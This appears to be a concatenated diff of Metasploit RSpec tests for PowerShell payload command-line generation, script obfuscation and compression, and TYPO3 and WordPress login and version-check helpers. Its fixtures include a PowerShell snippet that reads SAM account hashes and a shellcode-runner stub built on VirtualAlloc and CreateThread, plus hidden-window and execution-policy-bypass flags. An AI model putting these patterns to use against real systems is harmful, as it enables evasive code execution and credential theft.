end
context 'when method is old' do
before do
subject.datastore['Powershell::method'] = 'old'
subject.options.validate(subject.datastore)
end
it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('-namespace Win32Functions').should be_true
end
it 'shouldnt shorten args' do
code = subject.cmd_psh_payload(payload, arch)
code.include?('-NoProfile -WindowStyle hidden -Command').should be_true
end
it 'should include -NoExit' do
code = subject.cmd_psh_payload(payload, arch)
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_true
end
end
context 'when method is net' do
before do
subject.datastore['Powershell::method'] = 'net'
subject.options.validate(subject.datastore)
end
it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('System.Runtime.InteropServices;').should be_true
end
end
context 'when method is reflection' do
before do
subject.datastore['Powershell::method'] = 'reflection'
subject.options.validate(subject.datastore)
end
it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('GlobalAssemblyCache').should be_true
end
end
context 'when method is msil' do
before do
subject.datastore['Powershell::method'] = 'msil'
subject.options.validate(subject.datastore)
end
it 'should raise an exception' do
except = false
begin
subject.cmd_psh_payload(payload, arch)
rescue RuntimeError
except = true
end
except.should be_true
end
end
context 'when method is unknown' do
before do
subject.datastore['Powershell::method'] = 'blah'
end
it 'should raise an exception' do
except = false
begin
subject.cmd_psh_payload(payload, arch)
rescue RuntimeError
except = true
end
except.should be_true
end
after do
subject.datastore['Powershell::method'] = 'reflection'
subject.options.validate(subject.datastore)
end
end
context 'when encode_inner_payload' do
it 'should contain an inner payload with -e' do
code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true})
code.include?(' -e ').should be_true
end
context 'when no_equals is true' do
it 'should raise an exception' do
except = false
begin
code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true, :no_equals => true})
rescue RuntimeError
except = true
end
except.should be_true
end
end
end
context 'when encode_final_payload' do
context 'when no_equals is false' do
it 'should contain a final payload with -e' do
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false})
code.include?(' -e ').should be_true
code.include?(' -c ').should be_false
end
end
context 'when no_equals is true' do
it 'should contain a final payload with -e' do
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true})
code.include?(' -e ').should be_true
code.include?(' -c ').should be_false
code.include?('=').should be_false
end
end
context 'when encode_inner_payload is true' do
it 'should raise an exception' do
except = false
begin
subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :encode_inner_payload => true})
rescue RuntimeError
except = true
end
except.should be_true
end
end
end
context 'when remove_comspec' do
it 'shouldnt contain %COMSPEC%' do
code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true})
code.include?('%COMSPEC%').should be_false
end
end
context 'when use single quotes' do
it 'should wrap in single quotes' do
code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
code.include?(' -c \'').should be_true
end
end
end
describe "::generate_psh_command_line" do
it 'should contain no full stop when :no_full_stop' do
opts = {:no_full_stop => true}
command = subject.generate_psh_command_line(opts)
command.include?("powershell ").should be_true
end
it 'should contain full stop unless :no_full_stop' do
opts = {}
command = subject.generate_psh_command_line(opts)
command.include?("powershell.exe ").should be_true
opts = {:no_full_stop => false}
command = subject.generate_psh_command_line(opts)
command.include?("powershell.exe ").should be_true
end
it 'should ensure the path should always ends with \\' do
opts = {:path => "test"}
command = subject.generate_psh_command_line(opts)
command.include?("test\\powershell.exe ").should be_true
opts = {:path => "test\\"}
command = subject.generate_psh_command_line(opts)
command.include?("test\\powershell.exe ").should be_true
end
end
describe "::generate_psh_args" do
it 'should return empty string for nil opts' do
subject.generate_psh_args(nil).should eql ""
end
command_args = [[:encodedcommand, "parp"],
[:executionpolicy, "bypass"],
[:inputformat, "xml"],
[:file, "x"],
[:noexit, true],
[:nologo, true],
[:noninteractive, true],
[:mta, true],
[:outputformat, 'xml'],
[:sta, true],
[:noprofile, true],
[:windowstyle, "hidden"],
[:command, "Z"]
]
permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]}
permutations.each do |perms|
opts = {}
perms.each do |k,v|
opts[k] = v
it "should generate correct arguments for #{opts}" do
opts[:shorten] = true
short_args = subject.generate_psh_args(opts)
opts[:shorten] = false
long_args = subject.generate_psh_args(opts)
opt_length = opts.length - 1
short_args.should_not be_nil
long_args.should_not be_nil
short_args.count('-').should eql opt_length
long_args.count('-').should eql opt_length
short_args[0].should_not eql " "
long_args[0].should_not eql " "
short_args[-1].should_not eql " "
long_args[-1].should_not eql " "
if opts[:command]
long_args[-10..-1].should eql "-Command Z"
short_args[-4..-1].should eql "-c Z"
end
end
end
end
end
end

View File

@ -0,0 +1,139 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'rex/proto/http/response'
require 'msf/http/typo3'
describe Msf::HTTP::Typo3 do
subject do
mod = ::Msf::Module.new
mod.extend described_class
mod
end
let(:invalid_user) do
"invalid"
end
let(:invalid_password) do
"invalid"
end
let(:valid_user) do
"admin"
end
let(:valid_password) do
"password"
end
let(:valid_cookie) do
"be_typo_user=e31843639e5e17b9600602f9378b6ff0"
end
describe '#target_uri' do
it 'returns an URI' do
expect(subject.target_uri).to be_kind_of URI
end
end
describe '#typo3_url_login' do
it 'ends with /typo3/index.php' do
expect(subject.typo3_url_login).to end_with('/typo3/index.php')
end
end
describe '#typo3_url_backend' do
it 'ends with /typo3/backend.php' do
expect(subject.typo3_url_backend).to end_with('/typo3/backend.php')
end
end
describe '#typo3_admin_cookie_valid?' do
it 'returns true when valid admin cookie' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.body = '<body class="test" id="typo3-backend-php">'
res
end
expect(subject.typo3_admin_cookie_valid?("#{valid_cookie};")).to eq(true)
end
it 'returns false when invalid admin cookie' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res
end
expect(subject.typo3_admin_cookie_valid?("invalid")).to eq(false)
end
end
describe '#typo3_backend_login' do
it 'returns nil login page can not be reached' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response::E404.new
res
end
expect(subject.typo3_backend_login(valid_user, valid_password)).to be_nil
end
it 'returns nil when login page can be reached but isn\'t a TYPO3' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.body = 'Hello World'
res
end
expect(subject.typo3_backend_login(valid_user, valid_password)).to be_nil
end
it 'returns nil when TYPO3 credentials are invalid' do
allow(subject).to receive(:send_request_cgi) do |opts|
if opts['uri'] == "/typo3/index.php" && opts['method'] == 'GET'
res = Rex::Proto::Http::Response.new
res.body = '<input type="hidden" id="rsa_e" name="e" value="10001" />'
res.body << '<input type="hidden" id="rsa_n" name="n" value="B8C58D75B5F9DBCEBBF6FB96BDB9531C64C45DDED56D93B310FA9C79B9787E62C91157DD5842B2BC1D90C10251300571BEEF892776F25EAC80C2672A993B00DA2F1C966C3F70418274E1AC9C432F48F8CBD9D083F990905F7EC5BDFC1B5C93672E7ACBB3D935D0597864A1F732DD44B5C6E02344917543E33A36D68915B26DC9" />'
elsif opts['uri'] == "/typo3/index.php" && opts['method'] == 'POST'
res = Rex::Proto::Http::Response.new
res.body = '<!-- ###LOGIN_ERROR### begin -->Login Failed<!-- ###LOGIN_ERROR### end -->'
else
res = Rex::Proto::Http::Response::E404.new
end
res
end
expect(subject.typo3_backend_login(invalid_user, invalid_password)).to be_nil
end
it 'returns a cookie string when TYPO3 credentials are valid' do
allow(subject).to receive(:send_request_cgi) do |opts|
if opts['uri'] == "/typo3/index.php" && opts['method'] == 'GET'
res = Rex::Proto::Http::Response.new
res.body = '<input type="hidden" id="rsa_e" name="e" value="10001" />'
res.body << '<input type="hidden" id="rsa_n" name="n" value="B8C58D75B5F9DBCEBBF6FB96BDB9531C64C45DDED56D93B310FA9C79B9787E62C91157DD5842B2BC1D90C10251300571BEEF892776F25EAC80C2672A993B00DA2F1C966C3F70418274E1AC9C432F48F8CBD9D083F990905F7EC5BDFC1B5C93672E7ACBB3D935D0597864A1F732DD44B5C6E02344917543E33A36D68915B26DC9" />'
elsif opts['uri'] == "/typo3/index.php" && opts['method'] == 'POST'
res = Rex::Proto::Http::Response.new
res.headers['Set-Cookie'] = "#{valid_cookie};"
elsif opts['uri'] == "/typo3/backend.php" && opts['method'] == 'GET'
res = Rex::Proto::Http::Response.new
res.body = '<body class="test" id="typo3-backend-php">'
res
else
res = Rex::Proto::Http::Response::E404.new
end
res
end
expect(subject.typo3_backend_login(valid_user, valid_password)).to include(valid_cookie)
end
end
end

View File

@ -0,0 +1,57 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit'
require 'rex/proto/http/response'
require 'msf/http/wordpress'
describe Msf::HTTP::Wordpress::Base do
subject do
mod = ::Msf::Exploit.new
mod.extend ::Msf::HTTP::Wordpress
mod.send(:initialize)
mod
end
describe '#wordpress_and_online?' do
before :each do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = wp_code
res.body = wp_body
res
end
end
let(:wp_code) { 200 }
context 'when wp-content in body' do
let(:wp_body) { '<a href="http://domain.com/wp-content/themes/a/style.css">' }
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
end
context 'when wlwmanifest in body' do
let(:wp_body) { '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://domain.com/wp-includes/wlwmanifest.xml" />' }
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
end
context 'when pingback in body' do
let(:wp_body) { '<link rel="pingback" href="https://domain.com/xmlrpc.php" />' }
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
end
context 'when status code != 200' do
let(:wp_body) { nil }
let(:wp_code) { 404 }
it { expect(subject.wordpress_and_online?).to be_nil }
end
context 'when no match in body' do
let(:wp_body) { 'Invalid body' }
it { expect(subject.wordpress_and_online?).to be_nil }
end
end
end

View File

@ -0,0 +1,73 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit'
require 'rex/proto/http/response'
require 'msf/http/wordpress'
describe Msf::HTTP::Wordpress::Login do
subject do
mod = ::Msf::Exploit.new
mod.extend ::Msf::HTTP::Wordpress
mod.send(:initialize)
mod
end
describe '#wordpress_login' do
before :each do
allow(subject).to receive(:send_request_cgi) do |opts|
res = Rex::Proto::Http::Response.new
res.code = 301
if wp_redirect
res['Location'] = wp_redirect
else
res['Location'] = opts['vars_post']['redirect_to']
end
res['Set-Cookie'] = wp_cookie
res.body = 'My Homepage'
res
end
end
let(:wp_redirect) { nil }
context 'when current Wordpress' do
let(:wp_cookie) { 'wordpress_logged_in_1234=1234;' }
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
end
context 'when current Wordpress sec cookie' do
let(:wp_cookie) { 'wordpress_sec_logged_in_1234=1234;' }
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
end
context 'when Wordpress 2.5' do
let(:wp_cookie) { 'wordpress_asdf=1234;' }
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
end
context 'when Wordpress 2.0 user cookie' do
let(:wp_cookie) { 'wordpressuser_1234=1234;' }
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
end
context 'when Wordpress 2.0 pass cookie' do
let(:wp_cookie) { 'wordpresspass_1234=1234;' }
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
end
context 'when invalid login' do
let(:wp_cookie) { 'invalid=cookie;' }
it { expect(subject.wordpress_login('invalid', 'login')).to be_nil }
end
context 'when invalid redirect' do
let(:wp_cookie) { 'invalid=cookie;' }
let(:wp_redirect) { '/invalid/redirect' }
it { expect(subject.wordpress_login('invalid', 'login')).to be_nil }
end
end
end

View File

@ -0,0 +1,134 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit'
require 'rex/proto/http/response'
require 'msf/http/wordpress'
describe Msf::HTTP::Wordpress::Version do
subject do
mod = ::Msf::Exploit.new
mod.extend ::Msf::HTTP::Wordpress
mod.send(:initialize)
mod
end
describe '#wordpress_version' do
before :each do
allow(subject).to receive(:send_request_cgi) do |opts|
res = Rex::Proto::Http::Response.new
res.code = 200
res.body = wp_body
res
end
end
let(:wp_version) {
r = Random.new
"#{r.rand(10)}.#{r.rand(10)}.#{r.rand(10)}"
}
context 'when version from generator' do
let(:wp_body) { '<meta name="generator" content="WordPress ' << wp_version << '" />' }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from readme' do
let(:wp_body) { " <br /> Version #{wp_version}" }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from rss' do
let(:wp_body) { "<generator>http://wordpress.org/?v=#{wp_version}</generator>" }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from rdf' do
let(:wp_body) { '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' << wp_version << '" />' }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from atom' do
let(:wp_body) { '<generator uri="http://wordpress.org/" version="' << wp_version << '">WordPress</generator>' }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from sitemap' do
let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from opml' do
let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
end
describe '#check_version_from_readme' do
before :each do
allow(subject).to receive(:send_request_cgi) do |opts|
res = Rex::Proto::Http::Response.new
res.code = wp_code
res.body = wp_body
res
end
end
let(:wp_code) { 200 }
let(:wp_body) { nil }
let(:wp_fixed_version) { nil }
context 'when no readme is found' do
let(:wp_code) { 404 }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) }
end
context 'when no version can be extracted from readme' do
let(:wp_code) { 200 }
let(:wp_body) { 'invalid content' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
end
context 'when installed version is vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'stable tag: 1.0.0' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is not vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'stable tag: 1.0.2' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is vulnerable (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.2' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'stable tag: 1.0.1' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is older (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'stable tag: 0.0.9' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is newer (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'stable tag: 1.0.2' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
end
end

View File

@ -0,0 +1,85 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
describe Rex::Exploitation::Powershell::Function do
let(:function_name) do
Rex::Text.rand_text_alpha(15)
end
let(:example_function_without_params) do
"""
{
ls HKLM:\SAM\SAM\Domains\Account\Users |
where {$_.PSChildName -match \"^[0-9A-Fa-f]{8}$\"} |
Add-Member AliasProperty KeyName PSChildName -PassThru |
Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
Add-Member ScriptProperty V {[byte[]]($this.GetValue(\"V\"))} -PassThru |
Add-Member ScriptProperty UserName {Get-UserName($this.GetValue(\"V\"))} -PassThru |
Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue(\"V\")[0x9c..0x9f],0) + 0xCC} -PassThru
}"""
end
let(:example_function_with_params) do
"""
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void],
[String]$Parpy='hello',
[Integer] $puppy = 1,
[Array[]] $stuff = Array[],
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}"""
end
describe "::initialize" do
it 'should handle a function without params' do
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params)
function.name.should eq function_name
function.code.should eq example_function_without_params
function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_true
function.params.should be_kind_of Array
function.params.empty?.should be_true
end
it 'should handle a function with params' do
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params)
function.name.should eq function_name
function.code.should eq example_function_with_params
function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_true
function.params.should be_kind_of Array
function.params.length.should be == 5
function.params[0].klass.should eq 'Type[]'
function.params[0].name.should eq 'Parameters'
function.params[1].klass.should eq 'Type'
function.params[1].name.should eq 'ReturnType'
end
end
end

View File

@ -0,0 +1,232 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
describe Rex::Exploitation::Powershell::Obfu do
let(:example_script_without_literal) do
"""
function Find-4624Logons
{
<#
multiline_comment
#>
\r\n\r\n\r\n
\r\n
lots \t of whitespace
\n\n\n\n\n
\n\n
# single_line_comment1
# single_line_comment2
#
# single_line_comment3
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
{
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
if (-not $ReturnInfo.ContainsKey($Key))
{
$Properties = @{
LogType = 4624
LogSource = \"Security\"
SourceAccountName = $AccountName
SourceDomainName = $AccountDomain
NewLogonAccountName = $NewLogonAccountName
NewLogonAccountDomain = $NewLogonAccountDomain
LogonType = $LogonType
WorkstationName = $WorkstationName
SourceNetworkAddress = $SourceNetworkAddress
SourcePort = $SourcePort
Count = 1
Times = @($Logon.TimeGenerated)
}
$ResultObj = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $ResultObj)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
}
}
}
}"""
end
let(:example_script) do
"""
function Find-4624Logons
{
<#
multiline_comment
#>
\r\n\r\n\r\n
\r\n
lots \t of whitespace
\n\n\n\n\n
\n\n
# single_line_comment1
# single_line_comment2
#
# single_line_comment3
$some_literal = @\"
using System;
using System.Runtime.InteropServices;
namespace $kernel32 {
public class func {
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
}
}
\"@
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
{
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
if (-not $ReturnInfo.ContainsKey($Key))
{
$Properties = @{
LogType = 4624
LogSource = \"Security\"
SourceAccountName = $AccountName
SourceDomainName = $AccountDomain
NewLogonAccountName = $NewLogonAccountName
NewLogonAccountDomain = $NewLogonAccountDomain
LogonType = $LogonType
WorkstationName = $WorkstationName
SourceNetworkAddress = $SourceNetworkAddress
SourcePort = $SourcePort
Count = 1
Times = @($Logon.TimeGenerated)
}
$literal2 = @\"parp\"@
$ResultObj = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $ResultObj)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
}
}
}
}"""
end
let(:subject) do
Rex::Exploitation::Powershell::Script.new(example_script)
end
let(:subject_no_literal) do
Rex::Exploitation::Powershell::Script.new(example_script_without_literal)
end
describe "::strip_comments" do
it 'should strip a multiline comment' do
subject.strip_comments
subject.code.should be
subject.code.should be_kind_of String
subject.code.include?('comment').should be_false
end
it 'should strip a single line comment' do
subject.strip_comments
subject.code.should be
subject.code.should be_kind_of String
subject.code.include?('#').should be_false
end
end
describe "::strip_empty_lines" do
it 'should strip extra windows new lines' do
subject.strip_empty_lines
subject.code.should be
subject.code.should be_kind_of String
res = (subject.code =~ /\r\n\r\n/)
res.should be_false
end
it 'should strip extra unix new lines' do
subject.strip_empty_lines
subject.code.should be
subject.code.should be_kind_of String
res = (subject.code =~ /\n\n/)
res.should be_false
end
end
describe "::strip_whitespace" do
it 'should strip additional whitespace' do
subject.strip_whitespace
subject.code.should be
subject.code.should be_kind_of String
subject.code.include?('lots of whitespace').should be_true
end
end
describe "::sub_vars" do
it 'should replace variables with unique names' do
subject.sub_vars
subject.code.should be
subject.code.should be_kind_of String
subject.code.include?('$kernel32').should be_false
subject.code.include?('$Logon').should be_false
end
end
describe "::sub_funcs" do
it 'should replace functions with unique names' do
subject.sub_funcs
subject.code.should be
subject.code.should be_kind_of String
subject.code.include?('Find-4624Logons').should be_false
end
end
describe "::standard_subs" do
it 'should run all substitutions on a script with no literals' do
subject_no_literal.standard_subs
subject_no_literal.code.should be
subject_no_literal.code.should be_kind_of String
subject_no_literal.code.include?('Find-4624Logons').should be_false
subject_no_literal.code.include?('lots of whitespace').should be_true
subject_no_literal.code.include?('$kernel32').should be_false
subject_no_literal.code.include?('comment').should be_false
res = (subject_no_literal.code =~ /\r\n\r\n/)
res.should be_false
end
it 'should run all substitutions except strip whitespace when literals are present' do
subject.standard_subs
subject.code.should be
subject.code.should be_kind_of String
subject.code.include?('Find-4624Logons').should be_false
subject.code.include?('lots of whitespace').should be_false
subject.code.include?('$kernel32').should be_false
subject.code.include?('comment').should be_false
res = (subject.code =~ /\r\n\r\n/)
res.should be_false
end
end
end

View File

@ -0,0 +1,115 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
describe Rex::Exploitation::Powershell::Output do
let(:example_script) do
Rex::Text.rand_text_alpha(400)
end
let(:subject) do
Rex::Exploitation::Powershell::Script.new(example_script)
end
let(:eof) do
Rex::Text.rand_text_alpha(10)
end
describe "::to_s" do
it 'should print the script' do
subject.to_s.should eq example_script
end
end
describe "::size" do
it 'should return the size of the script' do
subject.size.should eq example_script.size
end
end
describe "::to_s_lineno" do
it 'should print the script with line numbers' do
subject.to_s_lineno.should eq "0: #{example_script}"
end
end
describe "::deflate_code" do
it 'should zlib the code and wrap in powershell in uncompression stub' do
compressed = subject.deflate_code
compressed.include?('IO.Compression.DeflateStream').should be_true
compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
$1.size.should be < Rex::Text.encode_base64(example_script).size
compressed.should eq subject.code
end
it 'should append an eof marker if specified' do
compressed = subject.deflate_code(eof)
compressed.include?("echo '#{eof}';").should be_true
end
end
describe "::encode_code" do
it 'should base64 encode the code' do
encoded = subject.encode_code
encoded.should eq subject.code
encoded =~ /^([A-Za-z0-9\/+=]+)$/
$1.size.should eq encoded.size
end
end
describe "::gzip_code" do
it 'should gzip the code and wrap in powershell in uncompression stub' do
compressed = subject.gzip_code
compressed.include?('IO.Compression.GzipStream').should be_true
compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
$1.size.should be < Rex::Text.encode_base64(example_script).size
compressed.should eq subject.code
end
it 'should append an eof marker if specified' do
compressed = subject.gzip_code(eof)
compressed.include?("echo '#{eof}';").should be_true
end
end
describe "::compress_code" do
it 'should gzip by default' do
compressed = subject.compress_code
compressed.include?('IO.Compression.GzipStream').should be_true
end
it 'should deflate if gzip is false' do
compressed = subject.compress_code(nil,false)
compressed.include?('IO.Compression.DeflateStream').should be_true
end
it 'should append an eof' do
compressed = subject.compress_code(eof)
compressed.include?("echo '#{eof}';").should be_true
end
end
describe "::decompress_code" do
it 'should locate the base64 string and decompress it when deflate is used' do
compressed = subject.compress_code(nil, false)
decompressed = subject.decompress_code
decompressed.should eq example_script
end
it 'should locate the base64 string and decompress it when gzip is used' do
compressed = subject.compress_code
decompressed = subject.decompress_code
decompressed.should eq example_script
end
it 'should raise a RuntimeException if the Base64 string is not compressed/corrupted' do
corrupted = "FromBase64String('parp')"
subject.code = corrupted
expect { subject.decompress_code }.to raise_error(RuntimeError)
subject.code.should eq corrupted
end
end
end

View File

@ -0,0 +1,27 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
describe Rex::Exploitation::Powershell::Param do
let(:param_name) do
Rex::Text.rand_text_alpha(15)
end
let(:klass_name) do
Rex::Text.rand_text_alpha(15)
end
describe "::initialize" do
it 'should create a param' do
param = Rex::Exploitation::Powershell::Param.new(klass_name, param_name)
param.should be
param.name.should eq param_name
param.klass.should eq klass_name
param.to_s.include?("[#{klass_name}]$#{param_name}").should be_true
end
end
end

View File

@ -0,0 +1,159 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
describe Rex::Exploitation::Powershell::Parser do
let(:example_script) do
"""
function Find-4624Logons
{
$some_literal = @\"
using System;
using System.Runtime.InteropServices;
namespace $kernel32 {
public class func {
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
}
}
\"@
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
{
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
if (-not $ReturnInfo.ContainsKey($Key))
{
$Properties = @{
LogType = 4624
LogSource = \"Security\"
SourceAccountName = $AccountName
SourceDomainName = $AccountDomain
NewLogonAccountName = $NewLogonAccountName
NewLogonAccountDomain = $NewLogonAccountDomain
LogonType = $LogonType
WorkstationName = $WorkstationName
SourceNetworkAddress = $SourceNetworkAddress
SourcePort = $SourcePort
Count = 1
Times = @($Logon.TimeGenerated)
}
$literal2 = @\"parp\"@
$ResultObj = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $ResultObj)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
}
}
}
}"""
end
let(:subject) do
Rex::Exploitation::Powershell::Script.new(example_script)
end
describe "::get_var_names" do
it 'should return some variable names' do
vars = subject.get_var_names
vars.should be
vars.should be_kind_of Array
vars.length.should be > 0
vars.include?('$ResultObj').should be_true
end
it 'should not match upper or lowercase reserved names' do
initial_vars = subject.get_var_names
subject.code << "\r\n$SHELLID"
subject.code << "\r\n$ShellId"
subject.code << "\r\n$shellid"
after_vars = subject.get_var_names
initial_vars.should eq after_vars
end
end
describe "::get_func_names" do
it 'should return some function names' do
funcs = subject.get_func_names
funcs.should be
funcs.should be_kind_of Array
funcs.length.should be > 0
funcs.include?('Find-4624Logons').should be_true
end
end
describe "::get_string_literals" do
it 'should return some string literals' do
literals = subject.get_string_literals
literals.should be
literals.should be_kind_of Array
literals.length.should be > 0
